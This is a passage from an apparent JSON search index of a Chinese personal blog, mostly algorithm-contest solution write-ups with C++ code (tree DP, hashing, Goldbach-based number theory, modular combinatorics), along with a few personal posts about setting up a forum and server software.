ms(a,x)","date":"2016-12-12","externalUrl":null,"permalink":"/2016/12/%e7%bc%96%e8%af%91%e5%8e%9f%e7%90%86%e5%ae%9e%e9%aa%8c%ef%bc%9a%e8%af%8d%e6%b3%95%e5%88%86%e6%9e%90%e5%99%a8/","section":"Posts","summary":"实验一　设计实现简单语言的词法分析器 # 1、实验目的","tags":["编译器"],"title":"编译原理实验：词法分析器","type":"post"},{"categories":["其他"],"content":"感觉owncloud的确很赞的样子。。。 小电影什么的。。我倒是需求不大。。。 不过作为同步盘感觉蛮赞的。。。 然而现在手头的服务器。。。除了论坛的vultr…都不是辣么有名的公司貌似。。。（国内的阿里云就算了。。。 所以现在的计划是。。。 等明年８月班瓦工到期。。。以及。。。不知道什么时候说不定就会tj的论坛。。。 打算买一个好一点的服务器orz，ss,owncloud，博客也搬过去吧…","date":"2016-12-09","externalUrl":null,"permalink":"/2016/12/%e4%b8%80%e4%ba%9b%e8%ae%a1%e5%88%92%e3%80%82%e3%80%82%e3%80%82/","section":"Posts","summary":"感觉owncloud的确很赞的样子。。。 小电影什么的。。我倒是需求不大。。。","tags":["算法竞赛"],"title":"一些计划。。。","type":"post"},{"categories":["其他"],"content":"操作肯定没有错，就是连接不上，显示超时 发现是防火墙的锅 具体请看：github_shadowsocks_issues_477","date":"2016-12-08","externalUrl":null,"permalink":"/2016/12/fedoracentosshadowsocks/","section":"Posts","summary":"操作肯定没有错，就是连接不上，显示超时 发现是防火墙的锅 具体请看：github_shadowsocks_issues_477","tags":["shadowsocks"],"title":"fedora/centos　服务器搭建shadowsocks超时的解决办法","type":"post"},{"categories":["其他"],"content":"。。。由于一些不可描述的原因。。。 和某个华师计科的妹子一拍即合。。。打算搞一个论坛出来。。。 算是做一些微小的贡献2333 一开始打算尝试dz…毕竟社区比较丰富…服务器的话。。先拿个免费的搭起来再说https://www.hostinger.com.hk/ 不过安装失败了…还是数据库的问题… 加上被gyz安利了discourse…稍微看了下，感觉还是挺不错的。。。 不过考虑到，社交登陆方面,discourse貌似对fb,google+,twitter之类的支持良好..但是对于国内的…. 至少对于我来讲，我是不愿意再多注册一个账号的.. 而且日后可能要加一些功能。。。要自己写的那种。。。discourse的技术链。。。我真是一点也不懂2333（虽然php我懂的也不多。。。。 基于以上原因。。我还是先打算继续搞dz… 20161207update:搭好了。。。免费的服务器太不稳定。。。于是买了日本某公司的服务器2333.一个月１０刀。。。暂时我们三个人平摊吧。。。 然后选择了discourese…其实还是不错的2333 接下来的问题。。就是如何吸引第一批成员加入。。。 这个就交给她们两个了。。。","date":"2016-12-05","externalUrl":null,"permalink":"/2016/12/%e6%90%ad%e5%bb%ba%e8%ae%ba%e5%9d%9b%e5%8e%86%e7%a8%8b/","section":"Posts","summary":"。。。由于一些不可描述的原因。。。 和某个华师计科的妹子一拍即合。。。打算搞一个论坛出来。。。","tags":["算法竞赛"],"title":"搭建论坛历程","type":"post"},{"categories":["随笔杂谈"],"content":"原因大概是觉得…我好无趣啊…你也好无趣啊….何必浪费口舌在这里客套呢….","date":"2016-12-02","externalUrl":null,"permalink":"/2016/12/%e6%89%bf%e8%ae%a4%e5%90%a7%ef%bc%8c%e6%88%91%e5%b0%b1%e6%98%af%e4%b8%8d%e5%96%9c%e6%ac%a2%e5%92%8c%e4%ba%ba%e5%9c%a8%e4%b8%80%e8%b5%b7/","section":"Posts","summary":"原因大概是觉得…我好无趣啊…你也好无趣啊….何必浪费口舌在这里客套呢….","tags":["算法竞赛"],"title":"承认吧，我就是不喜欢和人在一起","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：将一棵树的若干点染成黑色，要求满足对于任何一个点u,至少存在一个距离其k以内的点v被染成黑色，问染色方案数。 思路：还没完全搞懂。。。记录一些idea… 参考题解 以及：该题解中说的children指的是子树全体。。。坑死好吗。。。坑了一晚上。。气啊。 定义状态f[i][j]:以i为根的子树中，能向上贡献j个单位/需要外界往内填补j个单位，方案数 如果是贡献，j为负数 转移的话，考虑不断合并子树,假如说当前处理x为根的子树 不妨把它的儿子按照输入顺序从左往右编号1~N **一开始到x的时候，初始状态f[x][-k] = f[x][1] = 1 ** 然后不断把儿子的信息合并给x 做法是x与儿子枚举每一个可能的j值然后判断一下这样的状态转移后如何，添加到辅助数组里 最后把辅助数组的值copy给f[x]，， 1/* *********************************************** 2Author :111qqz 3Created Time :2016年12月07日 星期三 02时10分34秒 4File Name :code/cf/#382/E.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int MOD = 1E9+7; 34const int N=105; 35int n,k,ans,f[N][50],g[50]; 36vector\u003cint\u003eedge[N]; 37int F( int x) 38{ 39 return x+k; 40} 41int Add(LL x,LL y) 42{ 43 return (x+y)%MOD; 44} 45int Mul(LL x,LL y) 46{ 47 return x*y%MOD; 48} 49void dfs( int u,int pre) 50{ 51 f[u][F(-k)]=f[u][F(1)] = 1; 52 for ( auto v:edge[u]) 53 { 54 if (v==pre) continue; 55 dfs(v,u); 56 ms(g,0); 57 for ( int i = -k ; i \u003c= k ; i++) 58 { 59 if (!f[u][F(i)]) continue; 60 for ( int j = -k ; j \u003c= k ; j++) 61 { 62 int t = Mul(f[u][F(i)],f[v][F(j)]); 63 if (i\u003c=0\u0026\u0026j\u003c=0) 64 { 65 int A = min(i,j+1); 66 g[F(A)] = Add(g[F(A)],t); 67 }else if (i\u003e0\u0026\u0026j\u003e0) 68 { 69 int A = max(i","date":"2016-12-01","externalUrl":null,"permalink":"/2016/12/codeforces-382-div-2-e-ostap-and-tree-dp/","section":"Posts","summary":"题目链接 题意：将一棵树的若干点染成黑色，要求满足对于任何一个点u,至少存在一个距离其k以内的点v被染成黑色，问染色方案数。","tags":["树形dp"],"title":"codeforces #382 div 2 E. Ostap and Tree (树形dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一个舞会，每个人有一个val，给出n个人之间的领导和被领导关系，一个人不愿意与他的领导同时参加，问一种安排方案，使得参加的人的val和最大，问这个最大的和是多少。 思路：树形dp模板题。 dp1[v]表示包含v节点的子树的最大值。 dp2[v]表示，不包含v节点的子树的最大值。 下面讲得很清楚。。 Now, similar to array problem, we have to make a decision about including node V in our subset or not. If we include node V, we can’t include any of its children(say _v_1, _v_2, …, v__n), but we can include any grand child of V. If we don’t include V, we can include any child of V. So, we can write a recursion by defining maximum of two cases. . As we see in most DP problems, multiple formulations can give us optimal answer. Here, from an implementation point of view, we can define an easier solution using DP. We define two DPs, and , denoting maximum coins possible by choosing nodes from subtree of node V and if we include node V in our answer or not, respectively. Our final answer is maximum of two case i.e. . And defining recursion is even easier in this case. (since we cannot include any of the children) and (since we can include children now, but we can also choose not include them in subset, hence max of both cases). 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月30日 星期三 20时37分22秒 4File Name :code/hdu/1520.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[","date":"2016-11-30","externalUrl":null,"permalink":"/2016/11/hdu-1520/","section":"Posts","summary":"题目链接 题意：一个舞会，每个人有一个val，给出n个人之间的领导和被领导关系，一个人不愿意与他的领导同时参加，问一种安排方案，使得参加的人的val和最大，问这个最大的和是多少。","tags":["树形dp"],"title":"hdu 1520 Anniversary party (树形dp模板题)","type":"post"},{"categories":["ACM"],"content":"资料１","date":"2016-11-30","externalUrl":null,"permalink":"/2016/11/dp/","section":"Posts","summary":"资料１","tags":["树形dp"],"title":"树形dp学习资料","type":"post"},{"categories":["其他"],"content":"在最后一个标签　加上两个 （空格的字符表示　＆　＋　nbsp） 就好了。。。。","date":"2016-11-30","externalUrl":null,"permalink":"/2016/11/crayon/","section":"Posts","summary":"在最后一个标签　加上两个 （空格的字符表示　＆　＋　nbsp） 就好了。。。。","tags":["算法竞赛"],"title":"关于代码插件　crayon　无法高亮的解决方案","type":"post"},{"categories":["ACM"],"content":"poj 3274 题目链接 题意：给出n个数和k，每个数不超过k位二进制。现在问最长的一段区间，满足该区间中所有数相加，k个位置上的数相等。 思路：k个位置上的数都相等的话。。。那这个和应该是(k«1)-1的整数倍。。。 于是抽屉原理搞了一发。。一直wa.. 正解是数字hash。。。 不过我拍了一下。。。如果不是我理解错了题意的话。。。我是把一份ac代码　hack掉了。。。。。 用来对拍的ac代码： 1#include \u003cstdio.h\u003e 2#include \u003cstdlib.h\u003e 3#include \u003cstring.h\u003e 4#include \u003calgorithm\u003e 5using namespace std; 6#define MAX 100005 7#define mod 1000000 //此处mod定义为99997时，运行时间1000多MS 8int hash[MAX*10];//hash表储存下标 9int sum[MAX][35];//第 1 头牛到第 i 头的对应属性的和 10int c[MAX][35];//存放每头牛属性 j与第一个属性的差 11int n,k; 12int Hash_key(int *cc) 13{ 14 int j,key=0; 15 for(j=1;j\u003ck;j++) 16 key=key%mod+cc[j]\u003c\u003c2;//此处用 * 乘超时 17 key=abs(key)%mod;//此处得到的key可能会是负数，所以取绝对值 18 return key; 19} 20int main() 21{ 22 int i,j,x,maxlen=0;//maxlen为最大长度 23 scanf(\"%d%d\",\u0026n,\u0026k); 24 int l,r; 25 memset(hash,-1,sizeof(hash));//初始化哈希表 26 hash[0]=0;//hash表首位初始化 27 for(i=1;i\u003c=n;i++) 28 { 29 scanf(\"%d\",\u0026x); 30 for(j=0;j\u003ck;j++) 31 { 32 sum[i][j]=sum[i-1][j]+x%2; 33 c[i][j]=sum[i][j]-sum[i][0]; 34 x\u003e\u003e=1; 35 } 36 int key=Hash_key(c[i]); 37 while(hash[key]!=-1)//处理关键字冲突 38 { 39 for(j=0;j\u003ck;j++)//当前牛的属性与其关键字相同的进行比较 40 if( c[i][j]!=c[ hash[key] ][j] ) 41 break; 42 if(j==k \u0026\u0026 maxlen\u003c(i-hash[key]))//若j==k，说明两头牛的属性个数相同 43 { 44 maxlen=i-hash[key]; 45 l = i ; 46 r = hash[key]; 47 break; 48 } 49 key++;//往后继续移动处理冲突 50 } 51 if(hash[key]==-1) 52 hash[key]=i; //将下标存放在hash中 53 } 54 if (l\u003er) swap(l,r); 55 printf(\"%d %d\\n\",l,r); 56 printf(\"%d\\n\",maxlen); 57 return 0; 58} 我的代码： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月30日 星期三 14时44分41秒 4File Name :code/poj/3274.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#incl","date":"2016-11-30","externalUrl":null,"permalink":"/2016/11/poj-3274/","section":"Posts","summary":"poj 3274 题目链接 题意：给出n个数和k，每个数不超过k位二进制。现在问最长的一段区间，满足该区间中所有数相加，k个位置上的数相等。","tags":["hash","抽屉原理"],"title":"poj 3274 Gold Balanced Lineup (抽屉原理？错题？)","type":"post"},{"categories":["ACM"],"content":"题意：有n个雪花，每个雪花有６瓣，给出每一瓣的长度，问是否有两个雪花相同。（雪花相同的条件是：存在某个顺序使得两个雪花的每一瓣长度对应相等） 思路：一开始想到的是先最小表示法。。。然后hash。。。存set。。看set的大小。。。但是因为我是顺时针，逆时针都存了一次，那么如果有一个雪花顺时针和逆时针相同，就会出现错误的结果（虽然这个我应该判掉了。。。但是还是WA　orz） 归根结底我是没有搞定当hash相同的时候，如何判定这两个不是一组orz。 看了很多题解。。。（为什么大家这道题的代码都写得这么丑啊。。。。？ 思路有：hash或者最小表示法，或者最小表示法＋hash 思路是，把六瓣的长度求和，作为hash的key值。。。 然后。。。只在key相同的里面找一样的。。。 其实是根据这个和分了组。。。 因为和相同的，未必雪花一样，但是雪花的一样的，和一定相同，极大的缩小了范围。 也让我对hash有了新的理解： hash未必可以唯一确定某个值，但是可以帮助缩小范围。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月29日 星期二 19时29分11秒 4File Name :code/poj/3349.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int N=1e5+7; 32const int inf = 0x3f3f3f3f; 33int n; 34int a[N][6]; 35const int prime = 19997; //素数 36vector\u003cint\u003eblock[prime]; 37void Hash( int val,int x) 38{ 39 val%=prime; 40 block[val].push_back(x); 41} 42bool ok ( int x,int y) //两个雪花的id 43{ 44 for ( int i = 0 ;i \u003c 6 ; i++) 45 { 46 if (a[x][0]==a[y][i]) 47 { 48 for ( int j = 1 ; j \u003c 6; j++) 49 if (a[x][j]!=a[y][(i+j)%6]) break; 50 else if (j==5) return true; 51 52 for ( int j =1 ; j \u003c 6 ; j++) 53 if (a[x][6-j]!=a[y][(i+j)%6]) break; 54 else if (j==5) return true; 55 } 56 } 57 return false; 58} 59bool check() 60{ 61 for ( int i = 0 ; i \u003c prime ; i++) 62 { 63 i","date":"2016-11-30","externalUrl":null,"permalink":"/2016/11/poj-3349/","section":"Posts","summary":"题意：有n个雪花，每个雪花有６瓣，给出每一瓣的长度，问是否有两个雪花相同。（雪花相同的条件是：存在某个顺序使得两个雪花的每一瓣长度对应相等）","tags":["hash"],"title":"poj 3349 Snowflake Snow Snowflakes (利用hash分组)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一个人有n元前，他要交的税是n的最大因子（除n外)，现在这个投机倒把者想把前分成k部分(k为大于等于１的任意值）每部分不能为１，分别交税，问最少交多少税。 思路：要说因子小。。很容易想到素数。。。然后就很容易想到了维基百科_哥德巴赫猜想 内容是：任何一个大于２的偶数可以写成两个素数的和。 （虽然是一个猜想没有被证明。。。但是1E9这种级别正确性还是很显然的２３３３ 那么任何大于２的偶数，答案就是２ 奇数可以分成一个３和一个偶数，答案为３． 不过这可能还不够优，这也是这道题的两个trick所在： 如果该数本身为素数，那么不用分（k取１），答案为１ 如果该数减去２为素数，那么答案为２． 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月29日 星期二 11时36分56秒 4File Name :code/cf/#382/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n; 34bool prime( LL x) 35{ 36 for ( LL i = 2 ; i*i \u003c= x ; i++) 37 { 38 if (x%i==0) return false; 39 } 40 return true; 41} 42LL solve( LL x) 43{ 44 if (prime(x)) return 1; 45 if (x%2==0) return 2; 46 if (x%2==1) 47 { 48 if (prime(x-2)) return 2; 49 else return 3; 50 } 51} 52int main() 53{ 54 #ifndef ONLINE_JUDGE 55 freopen(\"code/in.txt\",\"r\",stdin); 56 #endif 57 cin\u003e\u003en; 58 LL ans = solve(n); 59 cout\u003c\u003cans\u003c\u003cendl; 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65}","date":"2016-11-29","externalUrl":null,"permalink":"/2016/11/cf375d-2/","section":"Posts","summary":"题目链接 题意：一个人有n元前，他要交的税是n的最大因子（除n外)，现在这个投机倒把者想把前分成k部分(k为大于等于１的任意值）每部分不能为１，分别交税，问最少交多少税。","tags":["math","number theory","哥德巴赫猜想"],"title":"codeforces #382 div2 D. Taxes(哥德巴赫猜想)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个人进行淘汰赛制的比赛，输的人直接被淘汰，不进行下一轮，现在要求两个人可以比赛当且仅当两个人的胜场数相差小于等于１，现在问赢得最多场的那个人，最多可能赢多少场。 思路：打表找规律。。。麻蛋。。手算错了n=8。。。结果达成了f[1] = 2,fib[2] =4 的奇怪的fib数列。。。卡了一个多小时。。。气哭了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月29日 星期二 10时16分50秒 4File Name :code/cf/#382/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33unsigned long long n; 34unsigned long long x,y,z; 35unsigned long long solve( unsigned long long xx) 36{ 37 if (xx\u003c=2) return 1; 38 if (xx\u003c=4) return 2; 39 x = 1; 40 y = 2; 41 int p; 42 unsigned long long cur = 4; 43 for ( int i = 3 ; ; i++) 44 { 45 z = x + y; 46 x = y; 47 y = z; 48 cur = cur + z; 49 if (cur\u003e=xx) 50 { 51 p = i; 52 break; 53 } 54 } 55 //cout\u003c\u003cp\u003c\u003cendl; 56 return p; 57 58} 59int main() 60{ 61 #ifndef ONLINE_JUDGE 62// freopen(\"code/in.txt\",\"r\",stdin); 63 #endif 64 cin\u003e\u003en; 65 unsigned long long ans = solve(n); 66 cout\u003c\u003cans\u003c\u003cendl; 67 68 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2016-11-29","externalUrl":null,"permalink":"/2016/11/cf735d/","section":"Posts","summary":"题目链接 题意：n个人进行淘汰赛制的比赛，输的人直接被淘汰，不进行下一轮，现在要求两个人可以比赛当且仅当两个人的胜场数相差小于等于１，现在问赢得最多场的那个人，最多可能赢多少场。","tags":["math"],"title":"codeforces #382 div2 C. Tennis Championship(打表找规律）","type":"post"},{"categories":["ACM"],"content":"1257: [CQOI2007]余数之和sum # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 3724 Solved: 1711 [Submit][Status][Discuss] Description # 给出正整数n和k，计算j(n, k)=k mod 1 + k mod 2 + k mod 3 + … + k mod n的值，其中k mod i表示k除以i的余数。例如j(5, 3)=3 mod 1 + 3 mod 2 + 3 mod 3 + 3 mod 4 + 3 mod 5=0+1+0+3+3=7 Input # 输入仅一行，包含两个整数n, k。 Output # 输出仅一行，即j(n, k)。 Sample Input # 5 3 Sample Output # 7 HINT # 50%的数据满足：1\u003c=n, k\u003c=1000 100%的数据满足：1\u003c=n ,k\u003c=10^9 思路：一开始的想法。。。很容易想到当n\u003ek的部分。。时可以是可以O(1)出来的。。。 然后对于n\u003ck的部分。。。对于大于i/2的部分。。。是递减的等差数列。。也可以O(1)出来。。。 剩下的一半没时间好想法。。。现在复杂度仍然有5E8…gg\\ 打了很多表。。。也看出规律2333 于是看了题解。。 正解：k%i可以写成 k-k/i*i 而k/i一共有sqrt(k)种，相同的k/i位置相邻，他们的k%i的值是一个等差数列。。。 这道题就是求Σ(k−⌊k/i⌋∗i)i=1..n简化一下是n∗k−Σ(⌊k/i⌋∗i)i=1..n，显然我们可以发现⌊k/i⌋的取值是一个不上升序列，且有很多取值相同（事实上，⌊k/i⌋的取值只有√k个），那么我们就可以对i中的一段区间求和（这段区间内⌊k/i⌋取值相同），⌊k/i⌋相同且i单调增加1，可以直接算出来，时间复杂度O(√k) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月28日 星期一 20时53分24秒 4File Name :code/bzoj/1257.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int main() 34{ 35#ifndef ONLINE_JUDGE 36 // freopen(\"code/in.txt\",\"r\",stdin); 37#endif 38 LL n,k; 39 LL ans = 0 ; 40 scanf(\"%lld%lld\",\u0026n,\u0026k); 41 LL l,r,cur; 42 r = n; 43 cur = k/n; 44 while (r) 45 { ","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/bzoj-1257-cqoi2007sum-/","section":"Posts","summary":"1257: [CQOI2007]余数之和sum # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 3724 Solved: 1711 [Submit][Status][Discuss]","tags":["math"],"title":"bzoj 1257: [CQOI2007]余数之和sum (数学)","type":"post"},{"categories":["ACM"],"content":"1008: [HNOI2008]越狱 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 8165 Solved: 3486 [Submit][Status][Discuss] Description # 监狱有连续编号为1…N的N个房间，每个房间关押一个犯人，有M种宗教，每个犯人可能信仰其中一种。如果 相邻房间的犯人的宗教相同，就可能发生越狱，求有多少种状态可能发生越狱 Input # 输入两个整数M，N.1\u003c=M\u003c=10^8,1\u003c=N\u003c=10^12 Output # 可能越狱的状态数，模100003取余 Sample Input # 2 3 Sample Output # 6 HINT # 6种状态为(000)(001)(011)(100)(110)(111) 思路：越狱的情况很多，考虑不越狱的情况。 答案为：m^n - m*(m-1)^(n-1) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月28日 星期一 16时23分38秒 4File Name :code/bzoj/1008.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL mod =100003; 34LL ksm( LL a,LL b,LL k) 35{ 36 LL res = 1; 37 while (b\u003e0) 38 { 39 if (b\u00261) res = (res * a)%k; 40 b = b \u003e\u003e 1LL; 41 a = (a*a)%k; 42 } 43 return res; 44} 45LL n,m; 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 cin\u003e\u003em\u003e\u003en; 52 LL ans =ksm(m,n,mod)-m%mod*ksm(m-1,n-1,mod)%mod; 53 ans %=mod; 54 ans +=mod; 55 ans %=mod; 56 cout\u003c\u003cans\u003c\u003cendl; 57 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/bzoj-1008-hnoi2008/","section":"Posts","summary":"1008: [HNOI2008]越狱 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 8165 Solved: 3486 [Submit][Status][Discuss]","tags":["组合数学"],"title":"bzoj 1008: [HNOI2008]越狱(对立事件，组合数学)","type":"post"},{"categories":["ACM"],"content":"1192: [HNOI2006]鬼谷子的钱袋 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 3192 Solved: 2313 [Submit][Status][Discuss] Description # 鬼谷子非常聪明，正因为这样，他非常繁忙，经常有各诸侯车的特派员前来向他咨询时政。有一天，他在咸阳游历的时候，朋友告诉他在咸阳最大的拍卖行（聚宝商行）将要举行一场拍卖会，其中有一件宝物引起了他极大的兴趣，那就是无字天书。但是，他的行程安排得很满，他他已经买好了去邯郸的长途马车标，不巧的是出发时间是在拍卖会快要结束的时候。于是，他决定事先做好准备，将自己的金币数好并用一个个的小钱袋装好，以便在他现有金币的支付能力下，任何数目的金币他都能用这些封闭好的小钱的组合来付账。鬼谷子也是一个非常节俭的人，他想方设法使自己在满足上述要求的前提下，所用的钱袋数最少，并且不有两个钱袋装有相同的大于1的金币数。假设他有m个金币，你能猜到他会用多少个钱袋，并且每个钱袋装多少个金币吗？ Input # 包含一个整数，表示鬼谷子现有的总的金币数目m。其中，1≤m ≤1000000000。 Output # 只有一个整数h，表示所用钱袋个数 Sample Input # 3 Sample Output # 2 思路：转化成二进制表示….还是蛮容易想到的吧。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月28日 星期一 15时31分21秒 4File Name :code/bzoj/1192.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int two[60]; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37// freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int m; 40 cin\u003e\u003em; 41 int cnt = 0 ; 42 while (m) 43 { 44 m = m \u003e\u003e 1; 45 cnt++; 46 } 47 cout\u003c\u003ccnt\u003c\u003cendl; 48 49 50 #ifndef ONLINE_JUDGE 51 fclose(stdin); 52 #endif 53 return 0; 54}","date":"2016-11-28","externalUrl":null,"permalink":"/2016/11/bzoj-1192/","section":"Posts","summary":"1192: [HNOI2006]鬼谷子的钱袋 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 3192 Solved: 2313 [Submit][Status][Discuss]","tags":["二进制"],"title":"bzoj 1192: [HNOI2006]鬼谷子的钱袋","type":"post"},{"categories":["ACM"],"content":"e:题意：那个数，定义hill为一段连续的区间，满足该区间为严格单峰。现在有若干操作，每个操作是对某段区间的数同时增加一个数，问每次操作后，所有的hill中，宽度最大的（区间长度最大）的是多少。 思路：同时增加一个数很线段树。。。但是要维护什么呢。。。？ 猜测：肯定要维护一个区间中hill的最大宽度… 但是合并的时候要怎么办呢。。。 考虑两个方向的合并。。。 所以还要维护一个区间中，包含右端点的向左单调减延伸的长度，以及左端点的值。 同理，要维护一个区间中，包含左端点的向右单调增延伸的长度，以及右端点的值。 那么每次pushup的时候，就是两个区间hill的最大值，以及两个方向合并的最大值中取最大。。。 。。。上面是我口胡的。。。 upd: 口胡的还是有点靠谱的（并没有2333，还是漏了情况） 具体题解见代码注释 以及，为了过这道题先过了在岛老师空间题解中提到的两道题目： hdu 3308 题目链接 hdu 5367题目链接 1/* 